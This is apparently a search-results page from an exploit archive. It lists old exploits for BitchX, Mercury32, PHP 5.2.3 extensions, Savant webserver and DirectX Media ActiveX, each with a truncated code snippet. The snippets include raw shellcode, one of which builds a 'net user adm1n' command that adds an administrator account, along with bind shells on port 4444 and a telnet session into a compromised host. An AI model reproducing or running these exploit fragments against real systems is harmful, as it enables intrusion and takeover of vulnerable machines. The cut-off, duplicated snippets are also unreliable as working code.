7612 matches found
BitchX 1.1 Final - MODE Remote Heap Overflow
!/usr/bin/env ruby BitchX-1.1 Final MODE Heap Overflow 0-day By bannedit Discovered May 16th 2007 - Yet another overflow which can overwrite GOT I found this vuln after modifying ilja's ircfuzz code. Currently this exploit attempts to overwrite the GOT with the ret address to the shellcode. The...
Mercury32 Mail Server 3.32 4.51 - SMTP EIP Overwrite
Mercury32 Mail Server 3.32 4.51 - SMTP EIP Overwrite / Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMT...
php523winbrowse-overflow.txt
"adm1n" password="netjackal" $SC= "\xEB\x19\x5A\x31\xC0\x50\x88\x42\x52\x52\xBB\x6D\x13\x86". "\x7C\xFF\xD3\xBB\xDA\xCD\x81\x7C\x31\xC0\x50\xFF\xD3\xE8". "\xE2\xFF\xFF\xFF\x63\x6D\x64\x2E\x65\x78\x65\x20\x2F\x63". "\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6D\x31"...
PHP 5.2.3 - PHP_win32sti Local Buffer Overflow (2)
PHP 5.2.3 - PHPwin32sti Local Buffer Overflow 2 "adm1n" password="netjackal" $SC= "\xEB\x19\x5A\x31\xC0\x50\x88\x42\x52\x52\xBB\x6D\x13\x86". "\x7C\xFF\xD3\xBB\xDA\xCD\x81\x7C\x31\xC0\x50\xFF\xD3\xE8". "\xE2\xFF\xFF\xFF\x63\x6D\x64\x2E\x65\x78\x65\x20\x2F\x63"...
PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ========================================================= PHP 7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode=...
PHP 5.2.3 - PHP_win32sti Local Buffer Overflow (1)
PHP 5.2.3 - PHPwin32sti Local Buffer Overflow 1 7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode= "\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4"...
PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (1)
7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode= "\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4". "\x58\x31\x50\x0e\x83\xc0\x04\x03\xeb\xb8\x37\xc4\xf7\xd7\x5c"...
savant-overflow.txt
!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...
Savant 3.1 Get Request Remote Overflow Exploit (Universal)
No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...
Savant Web Server 3.1 - GET Universal Remote Overflow
Savant Web Server 3.1 - GET Universal Remote Overflow !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp'...
Savant 3.1 Get Request Remote Overflow Exploit (Universal)
Exploit for unknown platform in category remote exploits ========================================================== Savant 3.1 Get Request Remote Overflow Exploit Universal ========================================================== !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof...
Savant Web Server 3.1 - GET Universal Remote Overflow
!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...
msdxmedia-exec.txt
Tested on:.. - Microsoft DirectX Media 6.0 SDK - Microsoft Internet Explorer 6 + all patches - Microsoft Windows XP SP2 Polish + all patches Details:.. obj.SourceUrl = "AAAA..1044..AAAA"; location.reload; Module DXTLIPI EAX 41414141 CALL DWORD PTR DS:EAX -- var shellcode = unescape"%u9090%u9090"+...
Microsoft DXMedia SDK 6 (SourceUrl) ActiveX Remote Code Execution
Exploit for unknown platform in category remote exploits ================================================================= Microsoft DXMedia SDK 6 SourceUrl ActiveX Remote Code Execution ================================================================= Tested on:.. - Microsoft DirectX Media 6.0 S...
PHP <= 5.2.3 snmpget() object id Local Buffer Overflow Exploit (EDI)
No description provided by source. ?php / Inphex reference -http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600...
PHP <= 5.2.3 snmpget() object id Local Buffer Overflow Exploit (EDI)
Exploit for unknown platform in category local exploits ==================================================================== PHP http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet...
phpmsql-local.txt
/ if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret = "\xA3\x3D\x92\x7C"; shell32.dll -CALL EBP WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf"...
PHP 5.2.3 - 'snmpget()' object id Local Buffer Overflow (EDI)
http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache / if !extensionloaded"snmp" die"sn...
PHP mSQL (msql_connect) Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ===================================================== PHP mSQL msqlconnect Local Buffer Overflow Exploit ===================================================== / if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret =...
PHP mSQL (msql_connect) - Local Buffer Overflow
PHP mSQL msqlconnect - Local Buffer Overflow / if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret = "\xA3\x3D\x92\x7C"; shell32.dll -CALL EBP WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9"...